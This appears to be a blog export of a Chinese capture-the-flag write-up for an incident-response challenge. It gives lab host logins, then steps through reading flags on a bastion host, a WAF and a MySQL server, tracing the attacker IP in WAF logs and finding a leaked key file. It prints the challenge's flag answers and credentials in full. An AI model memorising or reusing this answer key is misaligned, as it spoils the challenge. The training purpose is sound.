{"id":786,"date":"2025-11-19T20:12:10","date_gmt":"2025-11-19T12:12:10","guid":{"rendered":"https:\/\/www.sanjiuctf.cn\/?p=786"},"modified":"2025-11-19T20:13:06","modified_gmt":"2025-11-19T12:13:06","slug":"2025%e7%ac%ac%e4%ba%8c%e5%b1%8a%e5%b8%95%e9%b2%81%e6%9d%af%e5%ba%94%e6%80%a5%e5%93%8d%e5%ba%94wp%e4%b8%bb%e7%ba%bf","status":"publish","type":"post","link":"https:\/\/www.sanjiuctf.cn\/?p=786","title":{"rendered":"2025\u7b2c\u4e8c\u5c4a\u5e15\u9c81\u676f\u5e94\u6025\u54cd\u5e94wp\u4e3b\u7ebf"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">\u4e3b\u7ebf<\/h2>\n\n\n\n<p>\u8bf4\u660e\u6587\u6863\u4e0b\u8f7d<\/p>\n\n\n\n<div data-wp-interactive=\"core\/file\" class=\"wp-block-file\"><object data-wp-bind--hidden=\"!state.hasPdfPreview\" hidden class=\"wp-block-file__embed\" data=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/\u4e3b\u7ebf\u8bf4\u660e\u6587\u6863.pdf\" type=\"application\/pdf\" style=\"width:100%;height:750px\" aria-label=\"\u5d4c\u5165 \u4e3b\u7ebf\u8bf4\u660e\u6587\u6863\"><\/object><a id=\"wp-block-file--media-3cd5ae41-0f0e-46ba-946f-421604aa2725\" href=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/\u4e3b\u7ebf\u8bf4\u660e\u6587\u6863.pdf\">\u4e3b\u7ebf\u8bf4\u660e\u6587\u6863<\/a><a href=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/\u4e3b\u7ebf\u8bf4\u660e\u6587\u6863.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-3cd5ae41-0f0e-46ba-946f-421604aa2725\">\u4e0b\u8f7d<\/a><\/div>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-466-1024x677.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"677\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-466-1024x677.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-790\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u9898\u76ee\u4e0b\u8f7d:<\/p>\n\n\n\n<p>\u901a\u8fc7\u7f51\u76d8\u5206\u4eab\u7684\u6587\u4ef6\uff1a\u5e94\u6025\u54cd\u5e94\u4e3b\u7ebf<br>\u94fe\u63a5: https:\/\/pan.baidu.com\/s\/1GMD81OBwwmm2wDQAsyMUbg \u63d0\u53d6\u7801: 6180<\/p>\n\n\n\n<p>\u89e3\u538b\u5bc6\u7801\uff1a<\/p>\n\n\n\n<p>Skills@@@Skills@@@Skills<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u4e3b\u673a\u540d<\/th><th>IP \u5730\u5740<\/th><th>\u64cd\u4f5c\u7cfb\u7edf\u767b\u5f55<\/th><th>\u670d\u52a1\u767b\u5f55<\/th><\/tr><\/thead><tbody><tr><td>JumpServer<\/td><td>192.168.20.100<\/td><td>ubuntu\/ubuntu<\/td><td><a href=\"http:\/\/192.168.20.100\/\">http:\/\/192.168.20.100\/<\/a> admin\/Skills@2020<\/td><\/tr><tr><td>sshServer<\/td><td>192.168.20.108<\/td><td>ubuntu\/Skills@sshserver<\/td><td>&nbsp;<\/td><\/tr><tr><td>Server01<\/td><td>192.168.20.103<\/td><td>ubuntu\/Skills@server<\/td><td><a href=\"http:\/\/192.168.20.103:16303\/9bbe149955\">http:\/\/192.168.20.103:16303\/9bbe149955<\/a> c394c5de46\/e36c392092 <a href=\"http:\/\/192.168.20.102:3000\/\">http:\/\/192.168.20.102:3000\/<\/a> admin@qq.com\/\u672a\u77e5<\/td><\/tr><tr><td>Mysql<\/td><td>192.168.20.101<\/td><td>ubuntu\/Skills@mysql<\/td><td><a href=\"http:\/\/192.168.20.101:20221\/4a883f0c56\">http:\/\/192.168.20.101:20221\/4a883f0c56<\/a> 64a44f8137\/f8941f8eb7 root\/mysql_QPiS8y<\/td><\/tr><tr><td>Waf<\/td><td>192.168.20.102<\/td><td>ubuntu\/Skills@waf<\/td><td><a href=\"https:\/\/192.168.20.102:9443\/\">https:\/\/192.168.20.102:9443\/<\/a> admin\/VF6NXMs7<\/td><\/tr><tr><td>palu01<\/td><td>192.168.20.200<\/td><td>Parloo\/Skills@01<\/td><td>&nbsp;<\/td><\/tr><tr><td>palu02<\/td><td>192.168.20.201<\/td><td>Parloo\/Skills@02<\/td><td>&nbsp;<\/td><\/tr><tr><td>palu03<\/td><td>192.168.20.202<\/td><td>Parloo\/Skills@03<\/td><td>\u6b64\u9776\u673a\u4e3a&#8221;\u8fd1\u6e90&#8221;\u5bf9\u5e94\u9776\u673a<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">solar_Linux\u540e\u95e8\u6392\u67e5<\/h2>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\u8df3\u677f\u673a\u7591\u4f3c\u88ab\u9057\u7559\u540e\u95e8,\u8bf7\u6392\u67e5<br>1\u3001\u627e\u5230\u53ef\u7591\u8fdb\u7a0b\u5b8c\u6574\u8def\u5f84<br>2\u3001\u627e\u5230\u88ab\u6a2a\u5411\u7684\u670d\u52a1\u5668IP<br>3\u3001\u8fde\u63a5\u88ab\u6a2a\u5411\u670d\u52a1\u5668<br>flag\u683c\u5f0f\u4e3a flag{base64{\u5b8c\u6574\u8def\u5f84}|\u670d\u52a1\u5668IP|\u670d\u52a1\u5668\u4e2dflag\u6587\u672c}<br>root:Solar@2025_05_palu!<\/p>\n<\/blockquote>\n\n\n\n<p>\u5148\u6539\u4e00\u4e0b\u7f51\u5173<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-467.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"730\" height=\"665\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-467.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-791\"  sizes=\"auto, (max-width: 730px) 100vw, 730px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-468.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"591\" height=\"661\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-468.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-792\"  sizes=\"auto, (max-width: 591px) 100vw, 591px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-469.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"494\" height=\"373\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-469.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-793\"  sizes=\"auto, (max-width: 494px) 100vw, 494px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">1.\u63d0\u4ea4\u5821\u5792\u673a\u4e2d\u7559\u4e0b\u7684flag<\/h2>\n\n\n\n<p>\u767b\u5f55jumpserver\u5821\u5792\u673a\uff1a<br>\u6807\u7b7e\u5217\u8868\u4e2d\u53ef\u4ee5\u770b\u5230flag<\/p>\n\n\n\n<p><a href=\"http:\/\/192.168.20.100\/\">http:\/\/192.168.20.100\/<\/a> \u76f4\u63a5\u767b\u5f55\u5821\u5792\u673a<\/p>\n\n\n\n<p>\u8d26\u53f7\/\u5bc6\u7801 admin\/Skills@2020<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-470-1024x563.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"563\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-470-1024x563.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-794\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u5728\u6807\u7b7e\u5217\u8868\u770b\u5230\u7b54\u6848<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-471-1024x674.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"674\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-471-1024x674.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-795\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>palu{2025_qiandao_flag}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">2.\u63d0\u4ea4WAF\u4e2d\u9690\u85cf\u7684flag<\/h2>\n\n\n\n<p>\u767b\u5f55WAF\uff0c<a href=\"https:\/\/192.168.20.102:9443\/\">https:\/\/192.168.20.102:9443\/<\/a> admin\/VF6NXMs7<\/p>\n\n\n\n<p>\u8eab\u4efd\u8ba4\u8bc1\u7684\u914d\u7f6e\u7528\u6237\u7ba1\u7406\u4e2d\u5b58\u5728flag<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-472-1024x601.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"601\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-472-1024x601.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-796\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-473-1024x498.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"498\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-473-1024x498.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-797\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-474-1024x474.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"474\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-474-1024x474.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-798\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>palu{2025_waf}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">3.\u63d0\u4ea4Mysql\u4e2d\u7559\u4e0b\u7684flag<\/h2>\n\n\n\n<p>Navicat\u8fdc\u7a0b\u8fde\u63a5\u6570\u636e\u5e93\uff0c\u5e76\u67e5\u770b<\/p>\n\n\n\n<p><a href=\"http:\/\/192.168.20.101:20221\/4a883f0c56\">http:\/\/192.168.20.101:20221\/4a883f0c56<\/a> 64a44f8137\/f8941f8eb7 root\/mysql_QPiS8y<\/p>\n\n\n\n<p>\u8fdc\u7a0b\u8fde\u63a5\u4e00\u4e0b<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-475-1024x827.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"827\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-475-1024x827.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-799\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-476-1024x712.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"712\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-476-1024x712.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-800\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>palu{Mysql_@2025}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">4.\u63d0\u4ea4\u653b\u51fb\u8005\u7684\u653b\u51fbIP<\/h2>\n\n\n\n<p>\u4e00\u822c\u5148\u4eceweb\u6253\u8fdb\u6765\uff0c\u7136\u540e\u6a2a\u5411\u5230PC\u673a \u6240\u4ee5\u8981\u767b\u4e0aWAF\u770b\u770b<\/p>\n\n\n\n<p>\u76f4\u63a5\u67e5\u770bwaf\u7684\u653b\u51fb\u65e5\u5fd7\uff0c\u627e\u5230\u53d1\u8d77\u5927\u91cf\u653b\u51fb\u7684ip<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-477-1024x441.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"441\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-477-1024x441.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-801\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>palu{192.168.20.107}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">5.\u63d0\u4ea4\u653b\u653b\u51fb\u8005\u6700\u65e9\u653b\u51fb\u65f6\u95f4flag\u683c\u5f0f\u4e3apalu{xxxx-xx-xx-xx:xx:xx}<\/h2>\n\n\n\n<p>\u5728\u7b2c\u56db\u9898\u5df2\u7ecf\u770b\u5230\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-478-1024x270.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"270\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-478-1024x270.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-802\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>palu{2025-05-05-00:04:40}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">6.\u63d0\u4ea4web\u670d\u52a1\u6cc4\u9732\u7684\u5173\u952e\u6587\u4ef6\u540d<\/h2>\n\n\n\n<p>web\u670d\u52a1\u662f80\u7aef\u53e3\uff0c\u627e\u5230\u5bf9\u5e94\u7684\u9632\u62a4\u5e94\u7528<\/p>\n\n\n\n<p>\u5728WAF<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-479-1024x520.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"520\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-479-1024x520.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-803\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u9632\u62a4\u5e94\u7528\u770b\u770b<\/p>\n\n\n\n<p>\u53d1\u73b0\u53ef\u4ee5\u6587\u4ef6<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-480-1024x594.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"594\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-480-1024x594.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-804\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u590d\u5236\u8def\u5f84\u8bbf\u95ee<\/p>\n\n\n\n<p><a href=\"http:\/\/192.168.20.102\/bak\/key.txt\">http:\/\/192.168.20.102\/bak\/key.txt<\/a><\/p>\n\n\n\n<p>\u53d1\u73b0\u5c31\u662f\u6cc4\u9732\u7684\u6587\u4ef6<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-481-1024x692.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"692\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-481-1024x692.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-805\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>ssh\u5bc6\u94a5\u767b\u5f55\u7684\u4e00\u4e9b\u77e5\u8bc6\u70b9\uff1a<br>\u5728\u8fdc\u7a0b\u767b\u5f55\u670d\u52a1\u5668\u6216\u8bbf\u95ee\u5176\u4ed6\u9700\u8981 SSH 